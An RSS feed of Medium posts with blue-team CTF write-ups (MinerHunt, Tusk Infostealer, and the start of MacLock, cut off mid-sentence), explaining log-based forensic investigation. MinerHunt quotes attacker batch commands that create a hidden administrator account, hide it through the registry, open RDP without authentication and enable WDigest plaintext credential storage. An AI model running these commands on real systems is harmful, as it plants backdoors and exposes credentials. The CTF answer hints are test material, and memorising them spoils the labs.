<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by itsGir on Medium]]></title>
        <description><![CDATA[Stories by itsGir on Medium]]></description>
        <link>https://medium.com/@itsGir?source=rss-26be3714c254------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*c6e-q5Uzlab0XD_oY2OS_g.jpeg</url>
            <title>Stories by itsGir on Medium</title>
            <link>https://medium.com/@itsGir?source=rss-26be3714c254------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 11:49:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@itsGir/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CTF Write-up: MinerHunt (Certified Cyber Defenders)]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-minerhunt-certified-cyber-defenders-048061079ef8?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/048061079ef8</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 30 Jun 2025 18:24:14 GMT</pubDate>
            <atom:updated>2025-06-30T18:24:14.046Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/minerhunt/">Blue team CTF Challenges | MinerHunt — CyberDefenders</a></p><p>Welcome to my write-up on MinerHunt</p><p>This lab is yet another great Sysmon exercise, as almost all evidence can be found directly in the Sysmon logs. And the other evidence is found indirectly via this log. If you are familiar with Sysmon, this one should be doable for you.</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ MinerHunt Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called <strong>MinerHunt</strong>. It’s a <strong>Medium </strong>difficulty <strong>Endpoint Forensics </strong>lab which covers the following Tactics: “<em>Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion and Credential Access.”</em> In addition, the tools <em>“Event Log Explorer, Timeline Explorer, Evtxcmd and Threat Intel tools”</em> are listed.</p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/minerhunt/">Blue team CTF Challenges | MinerHunt — CyberDefenders</a></p><blockquote><strong>Note: </strong>If you want to do this CTF, you must be registered at CyberDefenders and have a “Pro Subscriber” license active.</blockquote><p>The following information is given to us:<br><em>CyberSecure Dynamics, a rapidly expanding technology services firm, has identified anomalous activity within its cloud-hosted SQL Server environment, attributed to outdated authentication configurations and weak default accounts. As an incident responder, your responsibility is to conduct a thorough investigation, analyze the relevant artifacts, reconstruct the timeline of events, identify exploited vulnerabilities and misconfigurations, and assess the full scope of the compromise — all while ensuring the confidentiality of specific attacker techniques.</em></p><p>Sigh. Seems like another one of those “we could’ve easily prevented this” labs. :’]</p><p>The lab is your default Windows environment with a forensic copy of the SQLServer available to you:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*QtvSpqLvOKBVn5DI5-U6ug.png" /></figure><p>Not much to add. Let’s begin!</p><h3>The Questions</h3><blockquote>1: Which MITRE ATT&amp;CK ID corresponds to the initial access technique used by the attacker, and which account was targeted?</blockquote><p>To begin, let’s take a look at the information as provided in the scenario. Two things stand out for me:</p><p><em>SQL Server environment<br>weak default accounts</em></p><p>Can we find the default account for MSSQL on the internet?</p><p><a href="https://stackoverflow.com/questions/3430759/what-is-the-default-username-and-password-of-my-sql-server-express">What is the default username and password of my SQL Server Express?</a></p><p>Yes. Yes we can. It would be <strong>sa</strong>, which is one part of the question. Now we need to know what initial access method the attacker used. If you guess T1078 (Valid Account), this would be incorrect. Time to look into the logs to see what the attacker did.</p><p>To begin, I follow my standard routine of Log Extraction:</p><p>Go to your Tools\Log Analysis folder, open a terminal in here (Shift + Right click -&gt; “Open command window here”, then run the following command in your terminal:</p><pre>EvtxECmd.exe.lnk -d &quot;C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\system32\winevt\logs&quot; --csv &quot;C:\Users\Administrator\Desktop\Start Here\Artifacts&quot;</pre><p>Explanation:</p><ul><li><strong>EvtxECmd.exe.lnk</strong> is Eric Zimmerman’s Event Log parser, which we will use to create the Event Log file we want to use for analysis</li><li><strong>-d</strong> dictates the directory the event logs are stored in, which is <strong>C:\Users\Administrator\Desktop\Start Here\Artifacts\C\Windows\system32\winevt\logs . </strong>By doing this, you get ALL the event logs in a singular file, which makes analysis a lot faster.</li><li><strong>— csv </strong>ensures the output is stored in a CSV file. I chose to store the CSV file in “C:\Users\Administrator\Desktop\Start Here\Artifacts”, but you can pick any folder of choice.</li></ul><p>When you run the command, it should show you a lot of lines of information regarding the parsing of the Event Logs, which should end something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*K_NpBC2ChPeZjehO_5t4Gg.png" /><figcaption>This image is copied from a different write-up, so some of the paths are slightly off. This image is purely for the exercise of copying the logs</figcaption></figure><p>Then, go to Tools/Log Analysis and open TimelineExplorer.exe. Once opened, drag the CSV file into it to open the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oEhQP0VazcBgzCx2P3c9IQ.png" /></figure><p>Now that we have all the event logs, we can begin our analysis.</p><p>Let’s begin by investigating the MSSQL login events. For that, I look at 2 different Event IDs:</p><p>Event ID <strong>18454 </strong>for succesful logins<br>Event ID <strong>18456 </strong>for failed logins</p><p>This results in the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0NIeNhv8lQBSi1vp7krymw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xsIC_2gRy0Eo0sB8G7V3QQ.png" /></figure><p>3 succesful logins and… how many failed ones???</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/217/1*17XU0uLMJMGsLCKuAs6Frg.png" /></figure><p>15k failed logins. Wow. That sounds like a Brute Force attack to me. Go ahead and locate the relevant MITRE ID, then submit that as &lt;MITRE ID&gt;,&lt;username&gt; to clear this question.</p><blockquote>2: When did the attacker gain initial access to the SQL Server with the compromised account?</blockquote><p>For this, locate the succesful login IDs once again. Then, look into the login details:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*cklzAedB6jh20QtxMqATyA.png" /></figure><p>Two of these entries came from an external IP. The <strong>later</strong> one is the correct answer here.</p><p><em>I’m not 100% certain why it isn’t the former here. My guess is that the first login attempt was done to secure the account, and the second to actually use it.</em></p><blockquote>3: What was the source IP address used by the attacker when attempting to access the SQL Server?</blockquote><p>I think you can find this if you followed along so far ;-)</p><blockquote>4: What is the full command used to extract the file downloaded from the attacker’s machine?</blockquote><p>To begin, let’s investigate the file downloads first. I decided to investigate the Process Creation events first to see if there are any indications of file downloads. For this, I filtered on Provider Sysmon and Event ID 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DU43RXQQJChZL8YZvnAUQ.png" /><figcaption>Definitely already seeing some strange things here</figcaption></figure><p>When going through these records, I eventually stumbled upon the following records:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*haZEkUXw4kYA5yr3KpqAPg.png" /></figure><p>Let’s investigate the DownloadFile part to see if there any other file downloads being done:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r81D1z6FzHaKRqsRJKyjTA.png" /></figure><p>In total, it seems there are 4 different files being downloaded:</p><ul><li>FM.txt</li><li>7zr.exe (an unzipping tool), stored as xx.exe</li><li>XeX.7z, a zipped archive</li><li>NF.bmof</li></ul><p>Since we have to find the command used for extraction, I would look into the usage of “xx.exe”, since this is the unzipping tool. This results in the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i1DVX3W3NgYa1tbpINnF6A.png" /></figure><p>The bottom command is the full command in question that you have to submit to clear Question 4.</p><blockquote>5: What is the name of the shell exploited by the attacker during the incident, and which MITRE ATT&amp;CK technique identifier is associated with its misuse?</blockquote><p>I have seen this trace before (insert squid game meme here). In a different lab than this one.</p><p>We have to investigate Event ID <strong>15457 </strong>here, which shows changes to the MSSQL configuration. This can enable the use of shells if configured as such. So, let’s filter for that Event ID and look into the Configuration changes done:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*YUZcLNh0XlY4uipG_ihOVQ.png" /></figure><p>The bottom one looks like the change we were looking for. Knowing this, let’s investigate what you can do if you set xp_cmdshell from 0 to 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*lY-o6dsb623EytasbrKGrQ.png" /><figcaption>Thank you AI — me lazy.</figcaption></figure><p>Knowing this, find the MITRE ID correlated to abusing the Windows Command Shell. If you have trouble finding it, it’s called “Command and Scripting Interpreter: Windows Command Shell”. Submit it as &lt;shell name&gt;,&lt;MITRE ID&gt; to clear this question.</p><blockquote>6: What is the Process ID (PID) used by the attacker to execute commands, and what is its full associated command-line?</blockquote><blockquote>Note: This process will serve as the parent process for all commands executed by the attacker through the utilized shell.</blockquote><p>Back to Sysmon Event ID 1 we go.</p><p>If you look at the screenshot I posted earlier about process creation events, we saw a sequence of taskkill events. Let’s look into those further:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QXhYtjRKIMxWKbZcHenIUQ.png" /></figure><p>If you pay attention, you should notice that these commands originate from sqlservr.exe, and they all contain the same Parent Process ID. To clear this question, submit the answer as &lt;PID&gt;,&lt;Command line&gt;. The correct command ends with SERVER and starts with the “ used, in case formatting is hindering you from submitting this one.</p><blockquote>7: At what precise time did the attacker initiate modifications to the shell configuration utilized during the attack?</blockquote><p>To find this, go back to the XP_Cmdshell change you found earlier in question 5, and look at the time of that Event ID to clear this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*CuEi5Ypv8s3zWr-2C1Ekew.png" /></figure><blockquote>8: The attacker attempts to evade detection using an ineffective method, but analyzing their attack sequence and skill level is crucial. Which antivirus vendor was the <strong>first </strong>to be targeted by the attacker?</blockquote><p>Emphasis on first here. The taskkill sequence is used to attempt to stop Antivirus products, but it is not specifically aimed at one AV-product, but several. This makes it ineffective. The first entry that’s being targeted is “avp.exe”. Googling the executable name will quickly reveal the vendor of the AV-solution:</p><p><a href="https://www.neuber.com/taskmanager/process/avp.exe.html">avp.exe Windows process - What is it?</a></p><p><em>Redacted the names above for the purpose of the write-up</em></p><blockquote>9: What is the full path of the <strong>batch file</strong> created by the attacker, which contains multiple commands essential to their attack, such as user account creation, privilege escalation, and system configuration modifications?</blockquote><p>Let’s investigate all File Creation events (Sysmon 11) that contain .bat as an extension:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*4AsCJm6kt8UdmiuM9JWQjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*A1t8kmOQa00SJKi6szIsbg.png" /><figcaption>Two hits.</figcaption></figure><p>To see which of the two is most likely correct, we have to investigate the usage of this file in Sysmon Event ID 1. Go ahead and change the Event ID to 1, remove the Payload Data4 filter, and add “.bat” to the Executable Info filter. If you do this, you should spot this very lengthy command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*LCX3JAueK4n35Ml-BnAk2w.png" /></figure><p>What does this do (Again, thank you AI)</p><h3>1. Launching Command Prompt</h3><pre>&quot;C:\Windows\system32\cmd.exe&quot; /c</pre><ul><li>/c tells cmd.exe to execute the command following it and then terminate</li></ul><h3>2. Creating a Malicious Batch File (xxxxx.bat)</h3><pre>echo @echo off &gt; C:\Users\Public\xxxxx.bat</pre><ul><li>echo @echo off disables command echoing in the script.</li><li>&gt; writes the output to xxxxx.bat, creating a new file (or overwriting an existing one).</li></ul><h3>3. Creating a New Hidden Administrator Account</h3><pre>echo net user Admin_env$ P@ssw0rd /ADD /expires:never &gt;&gt; C:\Users\Public\N1F10.bat<br>echo net localgroup Administrators Admin_env$ /add &gt;&gt; C:\Users\Public\N1F10.bat</pre><ul><li>Creates a new user Admin_env$ with the password P@ssw0rd.</li><li>$ at the end of the username hides it from the standard user list.</li><li>/expires:never ensures the account never expires.</li><li>Adds Admin_env$ to the Administrators group, granting it full privileges.</li></ul><h3>4. Hiding the New Admin Account</h3><pre>echo reg add &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist&quot; /v Admin_env$ /t REG_DWORD /d 0 /f &gt;&gt; C:\Users\Public\N1F10.bat</pre><ul><li>This modifies the Windows registry to hide Admin_env$ from the login screen by adding it to the Userlist under SpecialAccounts.</li></ul><h3>5. Enabling Remote Desktop (RDP)</h3><pre>echo reg add &quot;HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f &gt;&gt; C:\Users\Public\N1F10.bat</pre><ul><li>fDenyTSConnections is set to 0, enabling Remote Desktop access.</li></ul><pre>echo reg add &quot;HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP&quot; /v UserAuthentication /t REG_DWORD /d 0 /f &gt;&gt; C:\Users\Public\N1F10.bat</pre><ul><li>UserAuthentication is disabled (0), allowing Remote Desktop connections without strict authentication.</li></ul><h3>6. Weakening Security for Remote Access</h3><pre>echo reg add &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f &gt;&gt; C:\Users\Public\N1F10.bat</pre><ul><li>Setting LocalAccountTokenFilterPolicy to 1 allows full administrative access over network connections, often used in pass-the-hash attacks</li></ul><h3>7. Enabling Credential Caching for Potential Credential Theft</h3><pre>echo reg add &quot;HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest&quot; /v UseLogonCredential /t REG_DWORD /d 1 /f &gt;&gt; C:\Users\Public\N1F10.bat</pre><ul><li>WDigest authentication is enabled, which allows storing plaintext passwords in memory—making it easier for attackers to steal credentials.</li></ul><p>The batch file is the correct answer to this question, and you will need several of these commands for other questions. Speaking of:</p><blockquote>10: Which account did the attacker use for persistence, and in which registry path did they attempt to hide this account from the Windows login screen?</blockquote><p>We found this — submit the account name, as created, followed by the Registry Path that was used by the attacker (see bullet 4 from the breakdown in Q9)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*pMFonSQUwxFasav0lXHvFg.png" /></figure><blockquote>11: Understanding how the attacker established <strong>WMI-based persistence</strong> is crucial for detecting and mitigating long-term unauthorized access. What is the <strong>BMof file</strong> used to create the WMI persistence, what is the name of the <strong>WMI Consumer event</strong> registered by the attacker, and what is the full path of the file executed as a result of this WMI setup?</blockquote><p>To find this, navigate to Sysmon Event ID <strong>20 </strong>(WmiEvent (WmiEventConsumer activity detected)). You will find a singular entry:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*VCyrC8_3IDjgJXzyv-sW-w.png" /></figure><p>This one contains the name of the Consumer Event, as well as the file path used. <strong>Be sure to translate the path to a proper Windows path, which means removing some \ from the output above</strong>.</p><p>Now you need to find the filename, which has the .bmof extension. If you recall the file downloads as found in Q4, you found a bmof file there. Combine the file, the name of the consumer event and the file path in one to clear this question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*8VaWykdIMXjJrKPk-uLQaA.png" /></figure><blockquote>12: To maintain persistence, the attacker modified a registry entry by changing the Debugger value. What is the complete registry key path that was altered, and what is the full value assigned to the Debugger entry?</blockquote><p>To find this, I decided to investigate the logs for a Registry event containing “Debugger”. Sysmon Event ID 13 (RegistryEvent) will be helpful here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*eKLsOOKrGw8aKqbALf_4yQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BjlP_cMoNPEcoY_zj_KJrg.png" /></figure><p>Submit the registry key (starting with HKLM and ending with Debugger, followed by the file path (separated by a comma) to clear this one.</p><blockquote>13: What registry command did the attacker execute to alter Windows security settings and enable the storage of plaintext credentials, facilitating credential theft?</blockquote><p>Look at the Q9 breakdown for this (bullet 7). The correct answer starts with “reg” and ends with “/d 1 /f”</p><blockquote>14: What is the complete command line executed by the attacker to decode the encoded executable file, which was subsequently used for privilege escalation?</blockquote><p>For this, I return to Sysmon Event ID 1 and look for “decode” in the payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*vznev7mRtYMHazQ59bIOhw.png" /></figure><p>The bottom command, in full, is the correct answer here.</p><blockquote>15: It appears that the attacker used a proof-of-concept hack tool available on GitHub; what is the full link GitHub repository for this tool?</blockquote><p>Hardest question of this lab, unless you know what to look for.</p><p>To find it, you have to find the hash of the tool being used first. Perhaps the freshly decoded file (FM.exe) is a good one to start?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*h2QDS1Zypk9993CpV-dsLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QpAMBMle2R_s6x9Vl7iX3w.png" /></figure><p>Look at the entries <strong>starting</strong> with C:\Temp\FM.exe to find the following hashes:</p><pre>MD5=F72DD2BA157C8814EE59950713079580<br>SHA256=1754F83853B70D8C2171902204AAE31C6A26C0EB8F201092522C0A9D4E026F0B<br>IMPHASH=7CDEB456B3E1DA4A76E456F8FA2C8B9F</pre><p>Let’s throw the MD5 (or SHA256, doesn’t matter) into VirusTotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QJhNnlSoEOx1WSIDcuDLCw.png" /></figure><p>That’s a hacktool for sure, and it’s called NetworkServiceExploit.exe. Let’s google that, in combination with Github:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*GOhqVAs9xnsOKIF0zzRVhA.png" /></figure><p>That’s a PoC tool, and it’s on Github! Be sure to submit the full URL of the tool to clear this question.</p><p><em>Note: I will also post this in this write-up, in case the tool gets taken offline. The correct answer is </em><a href="https://github.com/decoder-it/NetworkServiceExploit">https://github.com/decoder-it/NetworkServiceExploit</a></p><blockquote>16: What is the attacker’s machine IP used for downloading files during the attack activities?</blockquote><p>Scroll back to the file downloads from Q4 to locate the attacker’s IP-address for this question.</p><blockquote>17: The attacker’s primary goal appears to be deploying mining software. What is the MD5 hash of the miner, and what is the full name of the cryptocurrency that the miner targets?</blockquote><p>Remember the executable from the Debugger value? To answer this, we have to investigate that file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hEj8L6ECaY0bHxVlA7guAQ.png" /></figure><p>You will run into the following sequence:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tv5QPO0sf7g4HUb8df_tdQ.png" /></figure><p>Open <strong>any</strong> of these records to spot the MD5 hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*Ud3nK35jaYcwiPJqLk_U6g.png" /></figure><p>Then, submit that hash to VirusTotal once again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tumbyVVc7VqKGD20NZVJOg.png" /></figure><p>XmRig! Throwback to <a href="https://medium.com/@itsGir/ctf-write-up-xmrig-certified-cyber-defenders-8605456164ff">CTF Write-up: XMRig (Certified Cyber Defenders) | by itsGir | Jan, 2025 | Medium</a> for me :)</p><p>The final question remains: What cryptocurrency does XmRig primarily mine? That’s one for AI:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*32v71pDrpJh48dX_xGeIQw.png" /></figure><p>Combine the MD5 hash with the cryptocurrency to finish this lab!</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-bCD076ugyb_P-hyj2nkA.png" /></figure><p>Spoiler: The owner of the system didn’t do proper hardening, and apparently had a weak password on the default account. These things are preventable. Do your job prior, so that your Incident Responders don’t have to cry when things go south.</p><p>I had a lot of trouble with the file formatting at first, tried it a few days later and had no problems at all. I guess that’s how it goes sometimes ;-) Overall, good lab, good exercise!</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesitate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=048061079ef8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up: Tusk Infostealer (Certified Cyber Defenders)]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-tusk-infostealer-certified-cyber-defenders-3e361895642a?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e361895642a</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 16 Jun 2025 18:23:26 GMT</pubDate>
            <atom:updated>2025-06-16T18:23:26.924Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/">Blue team CTF Challenges | Tusk Infostealer — CyberDefenders</a></p><p>Welcome to my write-up on Tusk Infostealer</p><p>I was able to do this one in less than 10 minutes (humble brag, apologies). Needless to say, this lab is really simple. It all boils down to finding the correct resources and thus knowing how to Google properly. Plus, being able to read the articles in question, understand what the content means, and applying it in practice in your job as a SOC-analyst (or whatever function you fulfill :)). This part is definitely more challenging, but it’s worth it.</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ Tusk Infostealer Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called<strong> Tusk Infostealer</strong>. It’s an <strong>Easy </strong>difficulty <strong>Threat Intelligence </strong>lab which covers no tactics, but instead covers the following tools: <em>Kaspersky Threat Intelligence Portal and Threat Intelligence Reports</em></p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/">Blue team CTF Challenges | Tusk Infostealer — CyberDefenders</a></p><blockquote><strong>Note: </strong>You do NOT need a PRO-license for this lab. Just sign-up for CyberDefenders and start cracking at it!</blockquote><p>The following information is given to us:<br><em>A blockchain development company detected unusual activity when an employee was redirected to an unfamiliar website while accessing a DAO management platform. Soon after, multiple cryptocurrency wallets linked to the organization were drained. Investigators suspect a malicious tool was used to steal credentials and exfiltrate funds.</em></p><p><em>Your task is to analyze the provided intelligence to uncover the attack methods, identify indicators of compromise, and track the threat actor’s infrastructure.</em></p><p>The lab contains a file download which contains a MD5 hash that you can use for analysis. Since the lab is free, I will provide the hash here so you can start your research right away:</p><pre>E5B8B2CF5B244500B22B665C87C11767</pre><p>Let’s go.</p><h3>The Questions</h3><blockquote>1: What is the size of the malicious file?</blockquote><p>For this question, we have to start with one of the tools listed in the lab, which is the Kaspersky’s Threat Intelligence Platform, a.k.a. <a href="https://opentip.kaspersky.com/">Kaspersky OpenTIP.</a></p><p>When you’re there, go to “Lookup”, then submit the MD5 hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20EVak6zDnObWWwtgSXqVQ.png" /></figure><p>This will reveal the file size in the “Overview” tab. So far, so good.</p><blockquote>2: What word does the threat actor use in log messages to refer to victims, drawing inspiration from ancient tusk hunters?</blockquote><p>This information can be found in the following log article:</p><p><a href="https://securelist.com/tusk-infostealers-campaign/113367/">Tusk campaign uses infostealers and clippers for financial gain | Securelist</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*O3kHeg8TUMSJnG8NFga4iA.png" /></figure><p><strong>This article will also contain the answers to ALL other questions.</strong> <strong>For the purpose of this write-up, all screenshots were made from the article linked earlier.</strong></p><blockquote>3: The threat actor set up a malicious website to mimic a platform designed for creating and managing decentralized autonomous organizations (DAOs) on the MultiversX blockchain (peerme.io). What is the name of the malicious website the attacker created to simulate this platform?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*yHqj4rZ0xTug_KmdkbUM7A.png" /></figure><blockquote>4: Which cloud storage service did the campaign operators use to host malware samples for both macOS and Windows OS versions?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*XRkhUxB_oSLME4tGPwje-A.png" /></figure><blockquote>5: The malicious executable contains a configuration file that includes base64-encoded URLs and a password used for archived data decompression, enabling the download of second-stage payloads. What is the password for decompression found in this configuration file?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*B6csKqoIATf4oAJiDv-JTg.png" /></figure><blockquote>6: What is the name of the function responsible for retrieving the field archive from the configuration file?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*9BGs8vGSdF5tgFFUeNQl-Q.png" /></figure><blockquote>7: In the third sub-campaign carried out by the operators, the attacker mimicked an AI translator project. What is the name of the legitimate translator, and what is the name of the malicious translator created by the attackers?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*RTMNVZ7BapxghdNthGTYiw.png" /></figure><blockquote>8: The downloader is tasked with delivering additional malware samples to the victim’s machine, primarily infostealers like StealC and Danabot. What are the IP addresses of the <strong>StealC C2 servers </strong>used in the campaign?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*ETw1IbEecr-7CAB6DeknKA.png" /></figure><blockquote>9: What is the address of the Ethereum cryptocurrency wallet used in this campaign?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*WKKQm2I3GMklJwDallk5rA.png" /></figure><p>And there you go!</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*fdahK7asLjqP4hA9Nk3Blg.png" /></figure><p>By far the easiest lab on the platform, and the shortest write-up I’ve ever written on a lab. If you found the article I linked earlier, you probably didn’t need this write-up at all. Otherwise, I’m happy to help you find the right information!</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesitate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e361895642a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up: MacLock (Certified Cyber Defenders]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-maclock-certified-cyber-defenders-b0fef014e96f?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0fef014e96f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 09 Jun 2025 14:31:50 GMT</pubDate>
            <atom:updated>2025-06-09T14:31:50.930Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/maclock/">Blue team CTF Challenges | MacLock — CyberDefenders</a></p><p>Welcome to my write-up on MacLock.</p><p>This is the first Macbook forensics lab in quite some time (Spotlight is the only other Mac lab, and it was release over 4 years ago). This is also a much more different lab than the others: instead of getting a forensic image of an infected system which you have to analyze, you get to do a forensic investigation on a system that was seized from a suspected cybercriminal. My guess is that the lab owes its name to the fact that the system is locked, and you have to do some investigation on how to get the password to do further investigation.</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ MacLock Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called <strong>MacLock</strong>. It’s a <strong>Medium </strong>difficulty <strong>Endpoint Forensics </strong>lab which covers… no tactics. This makes sense, since the investigation is not on an infected system. It does mention tools though, which are <em>“Sublime Text, Python3, Exiftool and Chainbreaker”.</em></p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/maclock/">Blue team CTF Challenges | MacLock — CyberDefenders</a></p><blockquote><strong>Note: </strong>If you want to do this CTF, you must be registered at CyberDefenders and have a “Pro Subscriber” license active.</blockquote><p>The following information is given to us:<br><em>A known cybercriminal, suspected of participating in multiple data breaches, has been arrested. During the arrest, a MacBook was seized, which is believed to contain crucial evidence of the suspect’s activities. This device may provide valuable insights into their network of operations and methods.</em></p><p><em>Your team has been called to conduct a forensic investigation of the seized MacBook. The objective is to retrieve a specific note that could be key to understanding the suspect’s plans.</em></p><p>The lab’s readme is just a listing of the same tools listed earlier, so that’s not interesting to look into. The tools folder contains said tools, so that’s also not that interesting. The artifacts folder contains a folder called “LiveResponseData” with a bunch of sub-folders:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*QN6JUOlp2ACZ10IjQKXKIw.png" /></figure><p>While the lab doesn’t mention what tool was used, it is either <strong>MacQuisition </strong>or <strong>Cellebrite </strong>that captured the forensic image (most likely the former). Knowing how that tool works and what data goes where could prove useful for your investigation. Unfortunately, I have zero knowledge of that, so we just start off blank. If you start off blank too, don’t worry — we can do this. Let’s 